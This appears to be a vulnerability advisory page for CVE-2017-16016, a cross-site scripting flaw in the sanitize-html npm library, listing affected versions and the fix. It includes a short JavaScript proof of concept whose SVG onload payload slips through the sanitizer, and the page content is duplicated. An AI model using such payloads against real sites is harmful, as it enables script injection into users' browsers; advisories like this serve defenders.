Cross-Site Scripting in sanitize-html

MEDIUM 6.1CVE-2017-16016 · GHSA-xc6g-ggrc-qq4r · Published 04/06/2018 · updated 17/06/2026

In short

CVE-2017-16016 is a MEDIUM (CVSS 6.1) vulnerability affecting sanitize-html (punkave), sanitize-html.
Chance of exploitation in the next 30 days (EPSS): 1.3%, higher than 71.2% of all vulnerabilities.
Fix: update to 1.11.4 or later.

Package	Affected versions	Patched versions
sanitize-html punkave	`≤ 1.11.1`	No fix yet
sanitize-html npm	`< 1.11.4`	`1.11.4`

Description

Affected versions of sanitize-html are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag.

Proof of Concept

var sanitizeHtml = require('sanitize-html');

var dirty = '!<textarea>&lt;/textarea&gt;<svg/onload=prompt`xs`&gt;</textarea>!';
var clean = sanitizeHtml(dirty, {
    allowedTags: [ 'textarea' ]
});

console.log(clean);

// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!

Recommendation

Update to version 1.11.4 or later.

NVD description

Sanitize-html is a library for scrubbing html input of malicious values. Versions 1.11.1 and below are vulnerable to cross site scripting (XSS) in certain scenarios: If allowed at least one nonTextTags, the result is a potential XSS vulnerability.

References

nvd.nist.gov/vuln/detail/CVE-2017-16016 · ADVISORY
punkave/sanitize-html · WEB
punkave/sanitize-html commit 5d205a1 · WEB
punkave/sanitize-html commit 5d205a1 · WEB
GitHub Advisory GHSA-xc6g-ggrc-qq4r · ADVISORY
npmjs.com/package/sanitize-html · WEB
npmjs.com/advisories/154 · WEB
nodesecurity.io/advisories/154 · Exploit

More vulnerabilities in sanitize-html

See all →

Running one of these products? Scan your site to see whether it exposes a vulnerable version.

Scan my site free

Package

Affected versions

Patched versions

sanitize-html

punkave

≤ 1.11.1

No fix yet

sanitize-html

npm

< 1.11.4

1.11.4

Description

Affected versions of sanitize-html are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag.

Proof of Concept

var sanitizeHtml = require('sanitize-html');

var dirty = '!<textarea>&lt;/textarea&gt;<svg/onload=prompt`xs`&gt;</textarea>!';
var clean = sanitizeHtml(dirty, {
    allowedTags: [ 'textarea' ]
});

console.log(clean);

// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!

Recommendation

Update to version 1.11.4 or later.

NVD description